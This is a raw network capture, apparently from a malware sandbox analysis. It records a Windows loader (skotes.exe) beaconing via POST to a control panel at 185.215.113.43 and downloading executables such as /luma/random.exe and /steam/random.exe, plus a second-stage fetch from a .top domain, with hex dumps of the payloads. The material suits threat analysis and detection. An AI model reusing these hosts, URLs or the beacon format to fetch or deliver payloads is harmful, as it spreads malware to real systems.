Nov 19, 2024 18:02:08.351064920 CET	1236	IN	Data Raw: 02 8b c8 4b a6 7e 73 93 9b a5 78 29 33 91 e8 be 28 90 d3 ad 1d 13 8c b4 5a 16 bc 7d 0e d3 fe 0e 68 5e 03 85 75 db 72 c0 39 b8 ac da be 29 e8 45 3d 95 6e 80 5b 22 76 cc 03 21 eb 47 95 8b 7a c1 3f bc ca df c2 80 64 7d 45 20 d8 08 4e 90 b6 97 24 f6 Data Ascii: K~sx)3(Z}h^ur9)E=n["v!Gz?d}E N$A*njc^PS8U2l],s#xv[l~5&i}xos'"EbA1,Ei2K7fUKa\|cs^fEdr\|]^Eq\%&)VZ)~
Nov 19, 2024 18:02:08.351140022 CET	224	IN	Data Raw: 7b 98 70 2d 59 e6 2a 47 0a 87 31 bf 0a 1a 5c de 97 84 b9 fb 38 c0 e9 35 0b 7f f8 32 be 82 a4 a0 e6 77 0f 2a 91 a0 bd c7 b9 cc 57 7d c6 1f f6 91 40 d8 f1 b5 28 27 29 0b 04 5c 7f 1a eb 38 c7 40 c2 c6 6c e0 43 e2 8a 35 61 3c e7 f4 3d 06 4d dc d3 01 Data Ascii: {p-YG1\852wW}@(')\8@lC5a<=M.U+aN[<:p2F~l_KXZ32%@:CHx7yt,I(Z5jlTa~6#;<YxatkmCFl7v&
Nov 19, 2024 18:02:08.351152897 CET	1236	IN	Data Raw: 27 d6 94 85 8d c7 ab 86 cc 02 30 72 40 e8 71 26 29 42 c8 8a b5 20 b7 b5 c4 2c 0d dd 4b 84 d8 79 08 e6 28 1a fc 63 16 35 d5 78 2d 32 37 af 6b 21 8b a1 a0 60 ba ab b5 dd cb d2 71 f6 39 2e 31 ec e7 98 08 f8 96 93 da ff 4a 7a fc 79 5c 20 26 cb e4 05 Data Ascii: '0r@q&)B ,Ky(c5x-27k!`q9.1Jzy\ &8e}1sD \|zRccIyPL+_Q2yqY[,,sd%<uD3EB0!:<8a+D34VoUf,$!&-(l$!
Nov 19, 2024 18:02:08.355798006 CET	1236	IN	Data Raw: ea 6e 31 61 8a fc b5 30 9c 02 3b e5 f4 a0 18 02 b5 4b 00 46 9d 93 14 0c 4b 2c 0a ea 8c c6 17 2d b9 e6 28 92 42 99 f7 cc 64 54 84 ad 0b f7 04 a7 6a a8 15 93 ea e0 10 f9 42 98 0b a1 f2 3c 65 2d 97 21 05 78 7c 98 0c a5 25 a6 95 a2 f2 84 ab 94 8e bf Data Ascii: n1a0;KFK,-(BdTjB<e-!x\|%aIn64H.br:P%nNI><c!k=Bt MB9I&-QC(cg)cKbfgcn1e&,T@yZQBUN>_1>+Z*y\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	62705	185.215.113.43	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:14.175945044 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 35 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007450001&unit=246122658369
Nov 19, 2024 18:02:14.908232927 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	62706	185.215.113.16	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:14.920469046 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 18:02:15.627382040 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:15 GMT Content-Type: application/octet-stream Content-Length: 1871360 Last-Modified: Tue, 19 Nov 2024 16:48:32 GMT Connection: keep-alive ETag: "673cc160-1c8e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 a0 13 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gPJ@J@\ppq P^@.rsrc `n@.idata pn@ *p@lqlzklut@0r@xcerlkvj@Jf@.taggant0PJ"l@
Nov 19, 2024 18:02:15.627404928 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:15.627413988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:15.627424955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:15.627448082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:15.627460003 CET	1236	IN	Data Raw: 81 dc ce 7d 66 eb fe a8 45 23 b4 89 99 76 ca d5 c9 d6 81 3c 58 0d 82 a0 5a e1 86 76 cf 29 f2 8e a8 a3 07 ba 34 9d e6 fa a2 86 36 5d 4a c6 27 fb 5c 8c f8 a4 32 14 b5 1a be 57 fe ae 85 9a 9c f9 41 ee c7 62 f9 88 8e 9a 79 5a 2c e3 ae bd e7 cb 6f 02 Data Ascii: }fE#v<XZv)46]J'\2WAbyZ,oNvL6}>$\\ m76n^XhQ<u^nKJ"UcZmM{6i\bTUaqe7`0*O2jzZ4nJNOR]e$sl
Nov 19, 2024 18:02:15.627470016 CET	1236	IN	Data Raw: ee 3d 88 66 e2 e1 11 0c c4 4d f2 b9 71 40 a7 a1 ad bb ed 93 7a c4 8a a0 ab cd 4f fd 11 e0 87 c8 c5 b8 c8 0d da 50 43 60 bd 5a d6 56 5c 32 37 f9 bf c0 ca e3 03 86 f9 98 a5 23 33 60 e5 ae 02 b4 3d 96 03 a3 61 ed ee 59 32 31 9f 5e 63 21 67 21 b5 b5 Data Ascii: =fMq@zOPC`ZV\27#3`=aY21^c!g!Q,X+!/S{fWd;scN2Z_]!OR+WJn0tOQu\2Xj33LL<~r
Nov 19, 2024 18:02:15.627485037 CET	1236	IN	Data Raw: 85 8d e6 d6 78 01 94 50 a6 f6 d1 d7 aa 40 f3 76 1a 70 ff 21 89 b2 36 e7 bb f5 c1 ea f7 b4 d0 af a9 9c 1b 92 52 e4 47 a4 b4 cd dd aa b9 be 88 58 ce 7d fe 11 e3 76 9c 89 5a d3 d7 74 25 65 f5 b3 67 ab 61 a7 11 2b b3 f8 b5 e2 41 91 5b d0 d9 cc bd 84 Data Ascii: xP@vp!6RGX}vZt%ega+A[jgZZ2&677B5_*c,{"cL)@IxMZ@8h=:Q%S}G7cKt`b"{UXpF.]!u+'b;R+H
Nov 19, 2024 18:02:15.627499104 CET	1236	IN	Data Raw: 78 35 c5 ae 07 b3 cb 78 aa fb f8 1e 59 f9 40 46 5a be 42 d8 93 8d a2 35 3d 0e fc e7 8a 65 13 bf e4 45 aa 46 5d a8 dd 63 8f 14 7f d7 db 44 55 05 ad be 3e bb 03 9b 80 3f e3 21 a6 17 15 c5 6e 62 53 7d db 26 b6 8f 14 11 c0 ee ec 2d 60 4c 34 b9 2c 8a Data Ascii: x5xY@FZB5=eEF]cDU>?!nbS}&-`L4,M:^.{,S[&!`OFM&bfZI52"eR6LV]K%]-R,!YU!<>aZ mQ#x3't"TxNBe"]
Nov 19, 2024 18:02:15.627511024 CET	1236	IN	Data Raw: 61 1e fe 04 ba 9f 3a 93 4f e8 df 53 68 d0 d7 c9 db a3 53 b6 22 50 32 0b a2 d4 de 98 24 3d c4 ac b3 22 94 11 c3 85 1e 58 06 15 a9 b7 e1 67 c6 7c e1 a0 0d d1 f9 a3 c3 d9 62 f2 02 1c 87 6c 17 9a 11 01 67 de b6 4d 73 9b 30 1a c6 df e2 c1 f7 96 a6 c5 Data Ascii: a:OShS"P2$="Xg\|blgMs0eLP[9[oeLcn$ZB/;t:rY`u#gI<#h,)M6V'v5"g;}YvjCE0E^1U^cP~6F[LJO&1Z
Nov 19, 2024 18:02:15.632395029 CET	1236	IN	Data Raw: 5d cd a2 a1 7f e0 ee a6 a5 b7 53 f5 3d d5 13 e5 95 18 35 90 3e 40 33 fb a2 67 68 7e bd d0 de 5b 19 4c f3 50 57 c9 37 d0 e4 9d d3 f9 d7 56 e1 f2 f4 2d ae 41 e0 ba 89 e0 82 04 31 b6 ba 9c ff 02 a3 c7 4a 2d 42 37 c2 c1 8a 4f ce a1 3a e3 5f 6c 65 f6 Data Ascii: ]S=5>@3gh~[LPW7V-A1J-B7O:_let!maB0"UP5SXS2bPzn(m]%=GT(q[S'"!(JXU%.[g%OI$-a.zE*xre-m`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	62707	62.76.234.151	80	5588	C:\Users\user\AppData\Local\Temp\1007450001\beda8cb96f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:15.863893032 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 19, 2024 18:02:16.866446972 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 19 Nov 2024 17:02:16 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 19, 2024 18:02:16.866458893 CET	224	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%
Nov 19, 2024 18:02:16.866468906 CET	1236	IN	Data Raw: c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d 1a af 5e 8a 51 23 bc 7b fe f9 de bc Data Ascii: kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\ 5<sVd'n7
Nov 19, 2024 18:02:16.866480112 CET	1236	IN	Data Raw: d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e 8e dd 81 4f b2 1b 6f cb 96 de c2 fe Data Ascii: @h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k?a7Y.Kfi92`sqn4CI
Nov 19, 2024 18:02:16.866491079 CET	448	IN	Data Raw: e7 f7 82 4a 6b 92 58 d3 0c f0 0e 4f ef a9 30 ed f5 9d 02 7e a1 48 b2 7f ff 30 8b 9c e9 a8 c2 6c 1e ef a3 8f f3 07 ba e2 df b2 d3 9f 16 73 95 86 08 f4 d6 f1 c3 5e 45 df 7f aa 16 57 48 45 e7 c4 6e 58 e0 dd 4f 1c 98 78 4b db 7a ee d4 1b 82 db 40 d9 Data Ascii: JkXO0~H0ls^EWHEnXOxKz@]Z`.wQ0rMiyWGDhiEF@=D0%Nuu Uyg4"1AF<zTRnib/`0+kEkcWT]AySS{h!)
Nov 19, 2024 18:02:16.866501093 CET	1236	IN	Data Raw: 13 9d 15 78 60 d9 30 0f 94 f0 34 f7 12 38 30 2e 5c d4 4e 4b 95 2a c4 bb e4 88 b7 83 bd e5 14 cd 21 69 42 6d 55 66 5f 3e 61 c6 bc 7a 48 01 6b ba 93 06 ef 3e d9 bc 39 0b c7 8b d5 82 4e fa 3a 42 41 7c 89 9b 3c b4 b8 0a 4f 64 eb ec ed fa ca c1 b4 5e Data Ascii: x`0480.\NK*!iBmUf_>azHk>9N:BA\|<Od^pJ6PZ1Y=ZF>H> Gh4@m?EGma0/v^ 'CB\|U<:8>nEi)]$Vv@0zl#!xo#
Nov 19, 2024 18:02:16.866570950 CET	1236	IN	Data Raw: c1 43 2c d5 4c a3 c1 cf 7d 9d d1 85 ed 04 7c c8 d2 13 9c a7 99 f2 07 d8 27 eb bd 30 1f 23 97 10 7d 09 e1 d4 8c 99 18 a4 d7 5f 57 a7 3a d2 d1 69 ca 04 97 40 19 52 b6 63 7d 2f 0f bd b4 e6 b0 c8 3c b6 80 79 c3 b5 d5 8b a1 2b 8a be 53 a1 a0 3e 2c bc Data Ascii: C,L}\|'0#}_W:i@Rc}/<y+S>,c7UK"m~yQJMYHvnVr^"XlHDwramuOloIsylNn4Oi,0#f3\B>_}[sEXsgy
Nov 19, 2024 18:02:16.866589069 CET	448	IN	Data Raw: 25 53 89 b8 92 ab 8d 5f 92 09 bd c5 d0 c2 5f 2f 81 3c 00 06 29 cb 0b 04 4a 96 03 0e 39 45 14 4a 9d 28 d6 98 60 89 bb 8f d7 29 a9 7b 51 40 e8 3f 9c 09 65 ac ce 81 c7 be 30 0e 3e ec 92 bf 55 dd b8 dc 9e d6 6a 4a 74 9a 5f 3c 3a 1e f5 4f 78 ec 93 af Data Ascii: %S__/<)J9EJ(`){Q@?e0>UjJt_<:OxoNk:ZR}(]LbJqXh!$=!~:vTmqn!i>eZ9&x3@B!:(hneKu~AL^]Ne{`r2mk#
Nov 19, 2024 18:02:16.866605043 CET	1236	IN	Data Raw: 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 fb b7 3a d8 6c 1f 24 f3 cb ca f0 2e 88 1f e0 4b b3 a0 be 9b e9 f8 cf c4 35 50 9c 54 e6 30 3f 89 5b 73 5b 2d a4 42 64 e0 9f 27 a1 f8 45 cd eb a4 e3 45 2e b7 a7 c4 91 44 11 6b 17 9a Data Ascii: kO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaDLFu6.7_TjK1@}e;UaefjFk
Nov 19, 2024 18:02:16.866622925 CET	224	IN	Data Raw: f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d b4 81 80 9a 8b 53 95 fb 1a f3 30 4d 5f 1f 72 13 1c c2 57 c4 ed 5c a1 43 3f 85 cb 2e 4e 28 d1 7c 46 bb 5c a2 51 24 6a 9d e1 b9 bd 00 75 9d 7a a5 8d dd 14 22 cc 79 4d fd 6f 82 0e a9 Data Ascii: 5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm zz+\|M`V;0]*!r_TWp-Ec7iR3.3(8
Nov 19, 2024 18:02:16.867829084 CET	1236	IN	Data Raw: 19 cd 9e 46 0e b9 df 50 df 39 0a 38 ad a8 e5 42 56 7b 94 ff 91 45 da c6 42 2d 52 45 77 4c 63 5e 16 b2 79 2c d5 c7 f7 6a 82 9c 0b 8e fd 07 d7 e8 7d 5d 0b e7 82 b2 a8 fd e7 f2 a1 39 e6 c1 ce 3e 00 93 f3 c8 31 43 15 41 8a 2b ea 9a a6 b0 19 23 0c 28 Data Ascii: FP98BV{EB-REwLc^y,j}]9>1CA+#(/:*jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>DW[FL]k]bqZ,:q?k;nR{BJSD9\|d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	62708	185.215.113.43	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:19.444350004 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 34 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007455001&unit=246122658369
Nov 19, 2024 18:02:20.131557941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	62710	185.215.113.16	80	8736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 18:02:20.141072989 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 18:02:20.848469019 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 17:02:20 GMT Content-Type: application/octet-stream Content-Length: 1761792 Last-Modified: Tue, 19 Nov 2024 16:48:39 GMT Connection: keep-alive ETag: "673cc167-1ae200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 e0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 68 00 00 04 00 00 2e 94 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"g@h.@M$a$$ $b@.rsrc$r@.idata $t@ )$v@hugubvrhPNDx@zhjtfhxpg@.taggant0g"@
Nov 19, 2024 18:02:20.848481894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:20.848494053 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:20.848551035 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 18:02:20.848562956 CET	1236	IN	Data Raw: 0d 02 b7 41 f0 27 5a c7 38 93 2e cc b3 ba 41 c9 0d bd 28 a4 7f 58 83 66 10 bb ed a5 5b 02 53 dd 60 22 0c c5 ba 47 fe a6 fa 8d 6d 12 0b be 1b 7d d8 14 23 f5 10 bf 87 3e 19 a2 29 b9 aa b2 17 36 98 71 8f 05 80 55 eb b8 f5 0f 26 a4 91 94 33 5c 18 aa Data Ascii: A'Z8.A(Xf[S`"Gm}#>)6qU&3\(RX&h}LwjDNVtUz0* Z~\&-f!)kU'~uYT/eY\|=thJ[cbHn8$>s\?\ z{oXl% dS
Nov 19, 2024 18:02:20.848573923 CET	1236	IN	Data Raw: 0a 03 24 66 f1 ba 49 3e 72 2f 96 43 4f c7 fe ae 0e a8 ef f6 31 5a e2 e1 70 79 93 ae d9 ab 6b 5c e2 a9 71 c1 fa 4e 18 3f 4d 18 29 b9 58 88 c5 5e 5f 87 6a cc b1 d8 6b 84 bc 0f 5a 2e 9a e0 1c b6 4f 35 e9 33 14 03 15 1d 59 2e aa 98 11 0e 93 15 51 e1 Data Ascii: $fI>r/CO1Zpyk\qN?M)X^_jkZ.O53Y.QQa3HLrDv/QIKZ&;]A[l(p\|Sd2)Zr~8U"]7aCBuZea%7!8."rxF56\Z3tpt SH_(^Na^
Nov 19, 2024 18:02:20.848592043 CET	744	IN	Data Raw: 10 f2 48 1a a9 c2 8b 11 5a d2 71 5c 70 c2 6d 44 2c 6e 7f de 50 c8 3a 5e 70 aa 73 18 9c ba b3 11 14 61 5a d1 40 d1 39 45 5c 64 6a a2 06 e2 70 3c 60 ae ff 76 7c fb 9b 14 0e ef 13 c4 9c a8 e3 75 48 fb b1 16 9f e2 6f 3c b8 ae c3 76 e0 6e 62 e5 5d 80 Data Ascii: HZq\pmD,nP:^psaZ@9E\djp<`v\|uHo<vnb]iDZ>Zbv$a_8D\[Jwy(nm:jZ<H'Ek\~Oud_@=(b?j\krl9@<o#\oFSZ8Kbl%Hm4V9%Zh
Nov 19, 2024 18:02:20.848604918 CET	1236	IN	Data Raw: a8 fc 6b 9c 92 32 3e 44 8a 73 23 b4 10 12 ff 04 94 af 07 de 3a 59 6b 4b 3f ca 23 dc 20 67 ef 32 0e 62 4b 10 58 cb ef dd 0a ba 69 5a ed 1e 6d 75 74 fe 9f 16 33 d0 fc 7c a0 ab f7 06 9c 62 ff 4a 84 af 93 75 7a 26 cb d0 09 56 3d f7 e0 af 69 bc 13 f3 Data Ascii: k2>Ds#:YkK?# g2bKXiZmut3\|bJuz&V=iIZnm9RE`Km6xm8w\uWZdu8MLgpWxKm$f[RKmbFv~mZq@.s9]56Y&`u7\9ocnQ+tvDa9<tu
Nov 19, 2024 18:02:20.848617077 CET	1236	IN	Data Raw: 3c ee 41 74 0e a8 3b 45 f4 62 06 0f 08 9d f7 1e 01 fa 1b dc ac ae 51 01 8d c2 03 42 5a 6e 01 f5 5d fe 72 56 c5 7a ff 42 b8 cd df de 5c 14 74 0d 9c 5a 73 9c 9c bb 5b 78 dd e5 1d 7e 39 c7 5b 42 3a 0e f2 16 ca a2 49 24 5c c4 6f bf 0a 6e ff 42 a4 bd Data Ascii: <At;EbQBZn]rVzB\tZs[x~9[B:I$\onBI0nbl9CpXVsD\aPBvf9#WzPo`CB T!cZi9B8_4tf`SM\-emD\nR>H#D`Txm}k$?8:.Jbv0g>m9nb:bmL(vgZ
